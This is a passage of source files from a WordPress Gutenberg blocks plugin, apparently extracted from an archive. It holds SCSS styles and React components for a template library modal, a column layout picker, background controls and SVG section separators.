					.library-modal-header-tabs-button {
						display: flex;
						align-items: center;
						justify-content: center;
						padding: 17px 20px;
						background: transparent;
						border: 0;

						&.back-to-library {
	
							&:hover {
								background: #f2f2f3;
							}
		
							&:focus {
								background: #f2f2f3;
							}
		
							&:last-child {
								border-right: 1px solid #e6e9ec;
							}
						}
	
						svg {
							width: 20px;
							height: 20px;
							margin-right: 10px;
						}
					}
				}
	
				.library-modal-header-tabs {
					display: flex;
					flex-basis: 100%;
					justify-content: center;
	
					.library-modal-header-tabs-button {
						display: flex;
						align-items: center;
						justify-content: center;
						width: 115px;
						padding: 17px 0;
						background: transparent;
						font-weight: 600;
						cursor: pointer;
						border: 0;
	
						&.is-selected {
							background: #f2f2f3;
						}
	
						&:hover {
							background: #f2f2f3;
						}
	
						&:focus {
							background: #f2f2f3;
						}
	
						svg {
							margin-right: 5px;
						}
					}
				}
	
				.library-modal-header-actions {
					display: flex;
					flex-basis: 100%;
					justify-content: flex-end;
	
					.library-modal-header-tabs-button {
						display: flex;
						align-items: center;
						justify-content: center;
						padding: 17px;
						background: transparent;
						font-weight: 600;
						cursor: pointer;
						border: 0;

						&.insert-button {
							font-weight: normal;

							svg {
								width: 16px;
								height: 16px;
								margin-right: 10px;
							}
						}
	
						&.is-selected {
							background: #f2f2f3;
						}
	
						&:hover {
							background: #f2f2f3;
						}
	
						&:focus {
							background: #f2f2f3;
						}
	
						&:last-child {
							border-left: 1px solid #e6e9ec;
						}
	
						svg {
							width: 20px;
							height: 20px;
						}
					}
				}
			}
	
			.library-modal-actions {
				display: flex;
				padding: 15px;
				background: #f2f2f3;
				justify-content: center;
	
				.components-base-control {
					.components-base-control__field {
						margin-bottom: 0;
					}
				}
	
				.library-modal-category-control {
					min-width: 200px;
					margin-right: 10px;

					select {
						height: 30px;
						min-width: 150px;
						padding: 0 5px;
					}
				}
		
				.library-modal-search-control {
					min-width: 200px;
					position: relative;
		
					&:after {
						content: "\F179";
						font-family: dashicons;
						pointer-events: none;
						display: block;
						position: absolute;
						right: 6px;
						top: 6px;
						font-size: 18px;
					}
				}
			}
		}

		.library-modal-error {
			.components-notice {
				display: flex;
				align-items: center;
				margin: 20px 40px -20px;

				&.library-modal-missing {
					details {
						margin-top: 5px;
	
						summary {
							color: #0073aa;
							text-decoration: underline;
							cursor: pointer;
						}
					}
	
					ul {
						list-style: disc;
						margin: 10px 0 0 12px;
					}

					.components-button {
						margin: 10px 5px;
						top: 0;
	
						&.components-notice__action {
							color: #0073aa;
							text-decoration: underline;
						}
					}
				}

				.components-button {
					top: unset;
				}
			}
		}

		.library-modal-content {
			display: grid;
			grid-template-columns: 50% 50%;
			padding: 20px;

			.library-modal-content__item {
				border: 1px solid #ccc;
				margin: 20px;
				display: flex;
				flex-direction: column;
				justify-content: flex-end;

				&:hover,
				&:active,
				&:focus,
				&:focus-within {
					.library-modal-content__footer {
						.library-modal-content__footer_actions {
							opacity: 1;
						}
					}
				}

				.library-modal-content__preview {
					display: flex;
					align-items: center;
					height: 100%;

					img {
						margin: 0;
						width: 100%;
						height: auto;
						vertical-align: middle;
					}
				}

				.library-modal-content__footer {
					border-top: 1px solid #ccc;
					display: flex;
					justify-content: flex-end;

					.library-modal-content__footer_meta {
						flex: 4;

						.library-modal-content__footer_meta_title {
							margin-left: 15px;
						}

						.library-modal-content__footer_meta_author {
							margin-left: 15px;
						}
					}

					.library-modal-content__footer_actions {
						opacity: 0;
						display: flex;
						flex: 3;
						justify-content: flex-end;
						padding: 10px 15px;
						background-color: hsla(0,0%,96%,.7);
						border-left: 1px solid rgba(0,0,0,.05);
						transition: opacity .1s ease-in-out;

						button {
							position: relative;
							align-items: center;

							svg {
								margin-right: 5px;
							}

							&:first-child {
								margin-right: 10px;
							}
						}
					}
				}
			}
		}

		.library-modal-loader {
			display: flex;
			flex-direction: column;
			align-items: center;
			justify-content: center;
			height: 100px;
		}

		.library-modal-preview {
			background: #f2f2f3;   
			height: 750px;
			max-height: 85vh;
			overflow: hidden;
			padding: 25px 30px 30px;

			iframe {
				width: 150%;
				height: 150%;
				-webkit-transform: scale(.666) translateX(-25%) translateY(-25%);
				-ms-transform: scale(.666) translateX(-25%) translateY(-25%);
				transform: scale(.666) translateX(-25%) translateY(-25%);
			}
		}

		.components-modal__icon-container {
			svg {
				min-width: 20px;
				min-height: 20px;
				max-width: 24px;
				max-height: 24px;
				margin-right: 10px;
			}
		}
	}

	&.is-preview {
		overflow: hidden;
	}
}

.library-modal-category-selector {
	&.components-popover {
		&:not(.is-mobile) {
			&.is-bottom {
				z-index: 999999;
			}
		}
	}

	.components-menu-item__button {
		padding-left: 2rem;

		&.has-icon {
			padding-left: .5em;
		}
	}
}

@media ( max-width: 782px )  {
	.themeisle-onboarding-component {
		padding: 5em 1em;

		.themeisle-layout-picker {
			.wp-block-themeisle-blocks-advanced-column-layout {
				width: calc( 100% / 3 );
			}
		}
	}

	.themeisle-library-modal {
		.components-modal__content {
			.library-modal-control-panel {
				.library-modal-actions {
					flex-direction: column;

					.library-modal-category-control {
						margin: 0 0 10px 0;
					}
			
					.library-modal-search-control {
						width: 100%;
					}
				}
			}

			.library-modal-content {
				grid-template-columns: 100%;
			}
		}
	}
}


@media ( max-width:1439px ) {
	.themeisle-library-modal {
		width: 100%;
		max-width: 990px;
   }
}

@media ( min-width:1440px ) {
	.themeisle-library-modal {
		width: 100%;
		max-width: 1200px;
   }
}section/components/onboarding/library.js000066600000030135151151722000014521 0ustar00/**
 * External dependencies
 */
import LazyLoad from 'react-lazy-load';
import classnames from 'classnames';
import uuidv4 from 'uuid';

/**
 * WordPress dependencies
 */
const {
	startCase,
	toLower
} = lodash;

const { __ } = wp.i18n;

const { apiFetch } = wp;

const {
	Button,
	Dashicon,
	Icon,
	TextControl,
	Tooltip,
	Modal,
	Notice,
	SelectControl,
	Spinner
} = wp.components;

const { compose } = wp.compose;

const {
	withSelect,
	withDispatch
} = wp.data;

const { Component } = wp.element;

/**
 * Internal dependencies
 */
import './editor.scss';

import { otterIcon } from '../../../../helpers/icons.js';

class Library extends Component {
	constructor() {
		super( ...arguments );

		this.changeTab = this.changeTab.bind( this );
		this.removeError = this.removeError.bind( this );
		this.removeMissing = this.removeMissing.bind( this );
		this.selectCategory = this.selectCategory.bind( this );
		this.changeSearch = this.changeSearch.bind( this );
		this.changeClientId = this.changeClientId.bind( this );
		this.validateBlocks = this.validateBlocks.bind( this );
		this.importTemplate = this.importTemplate.bind( this );
		this.getOptions = this.getOptions.bind( this );

		this.state = {
			tab: 'block',
			isLoaded: false,
			isError: false,
			isMissing: false,
			selectedCategory: 'all',
			search: '',
			blocksCategories: [],
			templateCategories: [],
			data: [],
			preview: false,
			selectedTemplate: null,
			missingBlocks: []
		};
	}

	async componentDidMount() {
		let data = await apiFetch({ path: 'themeisle-gutenberg-blocks/v1/fetch_templates' });

		let blocksCategories = [];
		let templateCategories = [];

		data.map( i => {
			if ( i.categories && i.template_url ) {
				if ( 'block' === i.type ) {
					i.categories.map( o => {
						blocksCategories.push( o );
					});
				}

				if ( 'template' === i.type ) {
					i.categories.map( o => {
						templateCategories.push( o );
					});
				}
			}
		});

		blocksCategories = blocksCategories.filter( ( item, i, ar ) => ar.indexOf( item ) === i ).sort();
		templateCategories = templateCategories.filter( ( item, i, ar ) => ar.indexOf( item ) === i ).sort();

		this.setState({
			blocksCategories,
			templateCategories,
			data,
			isLoaded: true
		});
	}

	changeTab( value ) {
		this.setState({
			tab: value,
			selectedCategory: 'all',
			search: ''
		});
	}

	removeError() {
		this.setState({
			isError: false
		});
	}

	removeMissing() {
		this.setState({
			isMissing: false
		});
	}

	selectCategory( value ) {
		this.setState({
			selectedCategory: value
		});
	}

	changeSearch( value ) {
		this.setState({
			search: value
		});
	}

	changeClientId( data ) {
		if ( Array.isArray( data ) ) {
			data.map( i => this.changeClientId( i ) );
		} else if ( 'object' === typeof data ) {
			Object.keys( data ).map( k => {
				if ( 'clientId' === k ) {
					data[k] = uuidv4();
				}

				if ( 'innerBlocks' === k ) {
					data[k].map( i => {
						this.changeClientId( i );
					});
				}
			});
		}

		return data;
	}

	validateBlocks( data ) {
		let status = false;
		let missingBlocks = [];

		if ( Array.isArray( data ) ) {
			data.map( i => this.validateBlocks( i ) );
		} else if ( 'object' === typeof data ) {
			Object.keys( data ).some( k => {
				if ( 'name' === k ) {
					const exists = this.props.availableBlocks.find( i => {
						return i.name === data.name;
					});

					if ( undefined === exists ) {
						missingBlocks.push( data.name );
						status = true;
					}
				}

				if ( 'innerBlocks' === k ) {
					data[k].map( i => this.validateBlocks( i  ) );
				}
			});
		}

		missingBlocks = this.state.missingBlocks
			.concat( missingBlocks )
			.filter( ( v, i, a ) => a.indexOf( v ) === i );

		this.setState({ missingBlocks });

		return status;
	}

	async importTemplate( url ) {
		this.setState({
			preview: false,
			isLoaded: false,
			missingBlocks: []
		});

		let data = await apiFetch({ path: `themeisle-gutenberg-blocks/v1/import_template?url=${ url }` });

		data = this.changeClientId( data );

		if ( null !== data ) {
			this.setState({
				isLoaded: true
			});

			if ( ! this.validateBlocks( data ) ) {
				this.props.import( data );
			} else {
				this.setState({
					isMissing: true
				});
			}
		} else {
			this.setState({
				isLoaded: true,
				isError: true
			});
		}
	}

	getOptions() {
		let categories = {};

		categories = ( 'block' === this.state.tab ? this.state.blocksCategories : this.state.templateCategories ).map( i => {
			return i = {
				label: startCase( toLower( i ) ),
				value: i
			};
		});

		const options = [
			{ label: __( 'All Categories' ), value: 'all' },
			...categories
		];

		return options;
	}

	render() {
		const options = this.getOptions();

		return (
			<Modal
				className={ classnames(
					'themeisle-library-modal',
					{ 'is-preview': this.state.preview }
				) }
				onRequestClose={ this.props.close }
				isDismissable={ false }
				shouldCloseOnClickOutside={ false }
			>
				<div className="library-modal-control-panel">
					<div className="library-modal-header">
						<div className="library-modal-header-logo">
							{ this.state.preview ? (
								<Button
									className="library-modal-header-tabs-button back-to-library"
									aria-label={ __( 'Back to Library' ) }
									onClick={ () => this.setState({ preview: false }) }
								>
									<Dashicon icon="arrow-left-alt" /> { __( 'Back to Library' ) }
								</Button>
							) :
								<div className="library-modal-header-tabs-button">
									<Icon icon={ otterIcon } />
								</div>
							}
						</div>

						{ ! this.state.preview && (
							<div className="library-modal-header-tabs">
								<Button
									className={ classnames(
										'library-modal-header-tabs-button',
										{ 'is-selected': 'block' === this.state.tab }
									) }
									onClick={ () => this.changeTab( 'block' ) }
								>
									<Dashicon icon="screenoptions" />
									{ __( 'Blocks' ) }
								</Button>

								<Button
									className={ classnames(
										'library-modal-header-tabs-button',
										{ 'is-selected': 'template' === this.state.tab }
									) }
									onClick={ () => this.changeTab( 'template' ) }
								>
									<Dashicon icon="editor-table" />
									{ __( 'Templates' ) }
								</Button>
							</div>
						) }

						<div className="library-modal-header-actions">
							{ this.state.preview && (
								<Button
									className="library-modal-header-tabs-button insert-button"
									onClick={ () => this.importTemplate( this.state.selectedTemplate.template_url ) }
									tabindex="0"
								>
									<Dashicon icon="arrow-down-alt" size={ 16 } />
									{ __( 'Insert' ) }
								</Button>
							) }

							<Tooltip text={ __( 'Close' ) }>
								<Button
									className="library-modal-header-tabs-button"
									aria-label={ __( 'Close settings' ) }
									onClick={ this.props.close }
								>
									<Dashicon icon="no-alt" />
								</Button>
							</Tooltip>
						</div>
					</div>

					{ ! this.state.preview && (
						<div className="library-modal-actions">
							<SelectControl
								className="library-modal-category-control"
								value={ 'all' === this.state.selectedCategory ? 'all' : this.state.selectedCategory }
								onChange={ this.selectCategory }
								options={ options }
							/>

							<TextControl
								type="text"
								value={ this.state.search || '' }
								placeholder={ __( 'Search' ) }
								className="library-modal-search-control"
								onChange={ this.changeSearch }
							/>
						</div>
					) }
				</div>

				{ ! Boolean( themeisleGutenberg.isCompatible ) && (
					<div className="library-modal-error">
						<Notice
							status="warning"
							isDismissible={ false }
							className="version-warning"
							actions={ [
								{
									label: __( 'Update Now' ),
									url: themeisleGutenberg.updatePath
								}
							] }
						>
							{ __( 'You are using an older version of Otter. Use the latest version of Otter to have maximum compatibility with Template Library.' ) }
						</Notice>
					</div>
				) }

				{ this.state.isError && (
					<div className="library-modal-error">
						<Notice
							status="error"
							onRemove={ this.removeError }
						>
							{ __( 'There seems to be an error. Please try again.' ) }
						</Notice>
					</div>
				) }

				{ this.state.isMissing && (
					<div className="library-modal-error">
						<Notice
							status="warning"
							className="library-modal-missing"
							onRemove={ this.removeMissing }
						>
							{ __( 'You seem to be missing some blocks that are required by your selected template.' ) }
							<details>
								<summary>{ __( 'View Missing Blocks' ) }</summary>

								<ul>
									{ this.state.missingBlocks.map( i => <li>{ i }</li> ) }
								</ul>
							</details>
						</Notice>
					</div>
				) }

				{ this.state.preview ? (
					<div className="library-modal-preview">
						<iframe src={ this.state.selectedTemplate.demo_url }/>
					</div>
				) :
					this.state.isLoaded ? (
						<div className="library-modal-content">
							{ this.state.data.map( i => {
								if (
									( i.template_url ) &&
									( 'all' === this.state.selectedCategory || i.categories && i.categories.includes( this.state.selectedCategory ) ) &&
									( ! this.state.search || i.keywords && i.keywords.some( o => o.toLowerCase().includes( this.state.search.toLowerCase() ) ) ) &&
									( this.state.tab === i.type )
								) {
									return (
										<div
											aria-label={ i.title || __( 'Untitled Gutenberg Template' ) }
											className="library-modal-content__item"
											tabindex="0"
										>
											<div className="library-modal-content__preview">
												<LazyLoad>
													<img src={ i.screenshot_url || 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/assets/images/default.jpg' } />
												</LazyLoad>
											</div>

											<div className="library-modal-content__footer">
												<div className="library-modal-content__footer_meta">
													{ ( i.title && 'template' === i.type ) && (
														<h4 className="library-modal-content__footer_meta_title">{ i.title }{ i.author && __( ' by ' ) + i.author } </h4>
													) }

													{ ( i.author && 'block' === i.type ) && (
														<h4 className="library-modal-content__footer_meta_author">{ __( 'Author:' ) } { i.author }</h4>
													) }
												</div>

												<div className="library-modal-content__footer_actions">
													{ i.demo_url && (
														<Button
															isDefault
															isLarge
															className="library-modal-overlay__actions"
															onClick={ () => this.setState({
																preview: true,
																selectedTemplate: i
															}) }
															tabindex="0"
														>
															{ __( 'Preview' ) }
														</Button>
													) }

													<Button
														isPrimary
														isLarge
														className="library-modal-overlay__actions"
														onClick={ () => this.importTemplate( i.template_url ) }
														tabindex="0"
													>
														{ __( 'Insert' ) }
													</Button>
												</div>
											</div>
										</div>
									);
								}
							}) }
							<div
								aria-label={ __( 'Coming Soon' ) }
								className="library-modal-content__item"
							>
								<div className="library-modal-content__preview">
									<LazyLoad>
										<img src={ 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/assets/images/coming-soon.jpg' } />
									</LazyLoad>
								</div>
							</div>
						</div>
					) :
						<div className="library-modal-loader">
							<Spinner/>
						</div>
				}
			</Modal>
		);
	}
}

export default compose(
	withSelect( ( select, { clientId }) => {
		const { getBlock } = select( 'core/editor' );
		const { getBlockTypes } = select( 'core/blocks' );
		const block = getBlock( clientId );
		const availableBlocks = getBlockTypes();
		return {
			block,
			availableBlocks
		};
	}),

	withDispatch( ( dispatch, { block }) => ({
		import: ( content ) => dispatch( 'core/editor' ).replaceBlocks(
			block.clientId,
			content,
		)
	}) ),
)( Library );
section/components/onboarding/index.js000066600000013464151151722000014172 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const {
	Button,
	Dashicon,
	Icon,
	Path,
	Placeholder,
	SVG,
	Tooltip
} = wp.components;

const { Component } = wp.element;

/**
 * Internal dependencies
 */
import './editor.scss';

import { columnsIcon } from '../../../../helpers/icons.js';

import Library from './library.js';

class Onboarding extends Component {
	constructor() {
		super( ...arguments );

		this.closeModal = this.closeModal.bind( this );

		this.state = {
			isLibraryOpen: false
		};
	}

	closeModal() {
		this.setState({ isLibraryOpen: false });
	}

	render() {
		return (
			<Placeholder
				label={ __( 'Select Layout' ) }
				icon={ <Icon icon={ columnsIcon } /> }
				className="themeisle-onboarding-component"
			>
				<div className="themeisle-layout-picker">
					<Tooltip text={ __( 'Single Row' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 1, 'equal' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M100,0V50H0V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( 'Equal' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 2, 'equal' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M49,0V50H0V0Z M100,0V50H51V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( '1:2' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 2, 'oneTwo' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M32.6667,0V50H0V0Z M100,0V50H34.6667V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( '2:1' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 2, 'twoOne' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M65.3333,0V50H0V0Z M100,0V50H67.3333V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( 'Equal' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 3, 'equal' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M32,0V50H0V0Z M66,0V50H34V0Z M100,0V50H68V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( '1:1:2' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 3, 'oneOneTwo' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M24,0V50H0V0Z M50,0V50H26V0Z M100,0V50H52V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( '2:1:1' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 3, 'twoOneOne' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M48,0V50H0V0Z M74,0V50H50V0Z M100,0V50H76V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( '1:2:1' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 3, 'oneTwoOne' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M24,0V50H0V0Z M74,0V50H26V0Z M100,0V50H76V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( '1:3:1' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 3, 'oneThreeOne' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M20,0V50H0V0Z M78,0V50H22V0Z M100,0V50H80V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( 'Equal' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 4, 'equal' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M23.5,0V50H0V0Z M49,0V50H25.5V0Z M74.5,0V50H51V0Z M100,0V50H76.5V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( 'Equal' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 5, 'equal' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M18.4,0V50H0V0Z M38.8,0V50H20.4V0Z M59.2,0V50H40.8V0Z M79.6,0V50H61.2V0Z M100,0V50H81.6V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>

					<Tooltip text={ __( 'Equal' ) } >
						<Button
							className="wp-block-themeisle-blocks-advanced-column-layout"
							onClick={ () => this.props.setupColumns( 6, 'equal' ) }
						>
							<SVG viewBox="0 0 100 50" xmlns="http://www.w3.org/1999/xlink">
								<Path d="M15,0V50H0V0Z M32,0V50H17V0Z M49,0V50H34V0Z M66,0V50H51V0Z M83,0V50H68V0Z M100,0V50H85V0Z"></Path>
							</SVG>
						</Button>
					</Tooltip>
				</div>

				<Tooltip text={ __( 'Open Template Library' ) } >
					<Button
						isPrimary
						isLarge
						className="themeisle-template-library"
						onClick={ () => this.setState({ isLibraryOpen: true }) }
					>
						<Dashicon icon="category"/>
						{ __( 'Template Library' ) }
					</Button>

					{ this.state.isLibraryOpen && <Library clientId={ this.props.clientId } close={ this.closeModal } /> }
				</Tooltip>
			</Placeholder>
		);
	}
}

export default Onboarding;
section/components/background-control/editor.scss000066600000001234151151722000016353 0ustar00.wp-block-themeisle-blocks-advanced-columns-background-control {
	margin: 0 0 1.5em 0;

	.components-base-control__title {
		display: flex;
		justify-content: space-between;

		label {
			padding: 5px 0;
		}

		.linking-controls {
			display: flex;

			button {
				svg {
					width: 20px;
				}

				&.is-primary {
					z-index: 0;

					svg {
						fill: #fff;
					}

					&:hover {
						background: #007eb1;
						border-color: #006a95 #00648c #00648c;
						box-shadow: inset 0 -1px 0 #00648c;
						color: #fff;
						text-decoration: none;
						text-shadow: 0 -1px 1px #005d82,1px 0 1px #005d82,0 1px 1px #005d82,-1px 0 1px #005d82;
					}
				}
			}
		}
	}
}section/components/background-control/index.js000066600000003612151151722000015637 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * Internal dependencies
 */
import './editor.scss';

import { barcodeIcon } from '../../../../helpers/icons.js';

/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const {
	Button,
	ButtonGroup,
	Icon,
	IconButton,
	Tooltip
} = wp.components;

const { withInstanceId } = wp.compose;

const BackgroundControl = ({ label, instanceId, backgroundType, changeBackgroundType }) => {
	const id = `inspector-background-control-${ instanceId }`;

	return (
		<div id={ id } className="components-base-control wp-block-themeisle-blocks-advanced-columns-background-control">
			<div className="components-base-control__field">
				<div className="components-base-control__title">
					<label className="components-base-control__label">{ label }</label>
					<ButtonGroup className="linking-controls">
						<IconButton
							icon={ 'admin-customizer' }
							label={ __( 'Color' ) }
							className={ classnames(
								'is-button',
								{ 'is-primary': 'color' === backgroundType }
							) }
							onClick={ () => {
								changeBackgroundType( 'color' );
							}}
						/>
						<IconButton
							icon={ 'format-image' }
							label={ __( 'Image' ) }
							className={ classnames(
								'is-button',
								{ 'is-primary': 'image' === backgroundType }
							) }
							onClick={ () => {
								changeBackgroundType( 'image' );
							}}
						/>
						<Tooltip text={ __( 'Gradient' ) } >
							<Button
								label={ __( 'Gradient' ) }
								className={ classnames(
									'is-button',
									{ 'is-primary': 'gradient' === backgroundType }
								) }
								onClick={ () => {
									changeBackgroundType( 'gradient' );
								}}
							>
								<Icon icon={ barcodeIcon } />
							</Button>
						</Tooltip>
					</ButtonGroup>
				</div>
			</div>
		</div>
	);
};

export default withInstanceId( BackgroundControl );
section/components/separators/style.scss000066600000000371151151722000014614 0ustar00.wp-block-themeisle-blocks-advanced-columns-separators {
	position: absolute;
	left: 0;
	width: 100%;

	&.top {
		top: 0;
	}

	&.bottom {
		bottom: 0;

		svg {
			position: absolute;
			bottom: 0;
		}
	}

	.rotate {
		transform: rotate(180deg);
	}
}section/components/separators/index.js000066600000010452151151722000014225 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies
 */
const {
	SVG,
	Path
} = wp.components;

/**
 * Internal dependencies
 */
import './style.scss';
import './editor.scss';

const Separators = ({ type, front, style, fill, invert, width, height }) => {
	if ( 'none' === style ) {
		return false;
	}

	return (
		<div
			className={ classnames(
				'wp-block-themeisle-blocks-advanced-columns-separators',
				type
			) }
			style={ ( ! front && width ) ? {
				transform: `${ width ? `scaleX( ${ width / 100 } )` : '' }`
			} : {}}
		>
			{ ( 'bigTriangle' === style && false === invert ) && (
				<SVG
					id="bigTriangle"
					fill={ fill }
					viewBox="0 0 100 100"
					width="100%"
					height={ height ? `${ height }px` : '100' }
					preserveAspectRatio="none"
					xmlns="http://www.w3.org/2000/svg"
					style={ 'bottom' === type ? {
						transform: `${ 'bottom' === type ? 'rotate(180deg)' : '' }`
					} : {}}
				>
					<Path d="M0 0 L50 100 L100 0 Z"></Path>
				</SVG>
			) }

			{ ( 'bigTriangle' === style && true === invert ) && (
				<SVG
					id="bigTriangle"
					fill={ fill }
					viewBox="0 0 100 100"
					width="100%"
					height={ height ? `${ height }px` : '100' }
					preserveAspectRatio="none"
					xmlns="http://www.w3.org/2000/svg"
					style={ 'top' === type ? {
						transform: `${ 'top' === type ? 'rotate(180deg)' : '' }`
					} : {}}
				>
					<Path d="M100, 0l-50, 100l-50, -100l0, 100l100, 0l0, -100Z"></Path>
				</SVG>
			) }

			{ ( 'rightCurve' === style && false === invert ) && (
				<SVG
					id="rightCurve"
					fill={ fill }
					viewBox="0 0 100 100"
					width="100%"
					height={ height ? `${ height }px` : '100' }
					preserveAspectRatio="none"
					xmlns="http://www.w3.org/2000/svg"
					style={ 'top' === type ? {
						transform: `${ 'top' === type ? 'rotate(180deg)' : '' }`
					} : {}}
				>
					<Path d="M0 100 C 20 0 50 0 100 100 Z"></Path>
				</SVG>
			) }

			{ ( 'rightCurve' === style && true === invert ) && (
				<SVG
					id="rightCurve"
					fill={ fill }
					viewBox="0 0 100 100"
					width="100%"
					height={ height ? `${ height }px` : '100' }
					preserveAspectRatio="none"
					xmlns="http://www.w3.org/2000/svg"
					style={ 'top' === type ? {
						transform: `${ 'top' === type ? 'rotate(180deg)' : '' }`
					} : {}}
				>
					<Path d="M0 100 C 50 0 70 0 100 100 Z"></Path>
				</SVG>
			) }

			{ ( 'curve' === style ) && (
				<SVG
					id="curve"
					fill={ fill }
					viewBox="0 0 100 100"
					width="100%"
					height={ height ? `${ height }px` : '100' }
					preserveAspectRatio="none"
					xmlns="http://www.w3.org/2000/svg"
					style={ 'top' === type ? {
						transform: `${ 'top' === type ? 'rotate(180deg)' : '' }`
					} : {}}
				>
					<Path d="M0 100 C40 0 60 0 100 100 Z"></Path>
				</SVG>
			) }

			{ ( 'slant' === style && false === invert ) && (
				<SVG
					id="slant"
					fill={ fill }
					viewBox="0 0 100 100"
					width="100%"
					height={ height ? `${ height }px` : '100' }
					preserveAspectRatio="none"
					xmlns="http://www.w3.org/2000/svg"
					style={ 'bottom' === type ? {
						transform: `${ 'bottom' === type ? 'rotate(180deg)' : '' }`
					} : {}}
				>
					<Path d="M0 0 L100 100 L100 0 Z"></Path>
				</SVG>
			) }

			{ ( 'slant' === style && true === invert ) && (
				<SVG
					id="slant"
					fill={ fill }
					viewBox="0 0 100 100"
					width="100%"
					height={ height ? `${ height }px` : '100' }
					preserveAspectRatio="none"
					xmlns="http://www.w3.org/2000/svg"
					style={ 'bottom' === type ? {
						transform: `${ 'bottom' === type ? 'rotate(180deg)' : '' }`
					} : {}}
				>
					<Path d="M0 0 L0 100 L100 0 Z"></Path>
				</SVG>
			) }

			{ ( 'cloud' === style ) && (
				<SVG
					id="cloud"
					fill={ fill }
					viewBox="0 0 100 100"
					width="100%"
					height={ height ? `${ height }px` : '100' }
					preserveAspectRatio="none"
					xmlns="http://www.w3.org/2000/svg"
					style={ 'top' === type ? {
						transform: `${ 'top' === type ? 'rotate(180deg)' : '' }`
					} : {}}
				>
					<Path d="M-5 100 Q 10 -100 15 100 Z M10 100 Q 20 -20 30 100 M25 100 Q 35 -70 45 100 M40 100 Q 50 -100 60 100 M55 100 Q 65 -20 75 100 M70 100 Q 75 -45 90 100 M85 100 Q 90 -50 95 100 M90 100 Q 95 -25 105 100 Z"></Path>
				</SVG>
			) }
		</div>
	);
};

export default Separators;
section/components/separators/editor.scss000066600000000371151151722000014742 0ustar00.wp-block-themeisle-blocks-advanced-columns-separators {
	position: absolute;
	left: 0;
	width: 100%;

	&.top {
		top: 0;
	}

	&.bottom {
		bottom: 0;

		svg {
			position: absolute;
			bottom: 0;
		}
	}

	.rotate {
		transform: rotate(180deg);
	}
}section/components/layout-control/index.js000066600000034001151151722000015031 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const {
	Button,
	Dashicon,
	Dropdown,
	IconButton,
	Path,
	SVG,
	Tooltip
} = wp.components;

const { withInstanceId } = wp.compose;

const { Fragment } = wp.element;

/**
 * Internal dependencies
 */
import './editor.scss';

const LayoutControl = ({ label, instanceId, onClick, layout, layoutTablet, layoutMobile, columns, changeViewType, view }) => {
	const id = `inspector-layout-control-${ instanceId }`;
	let value;

	if ( 'desktop' === view ) {
		value = layout;
	} else if ( 'tablet' === view ) {
		value = layoutTablet;
	} else if ( 'mobile' === view ) {
		value = layoutMobile;
	}

	return (
		<div id={ id } className="wp-block-themeisle-blocks-advanced-columns-layout-control">
			<div className="components-base-control__field">
				<div className="components-base-control__title">
					<label className="components-base-control__label">{ label }</label>
					<div className="linking-controls">
						<Dropdown
							position="top left"
							renderToggle={ ({ isOpen, onToggle }) => (
								<IconButton
									icon={ 'mobile' === view ? 'smartphone' : view }
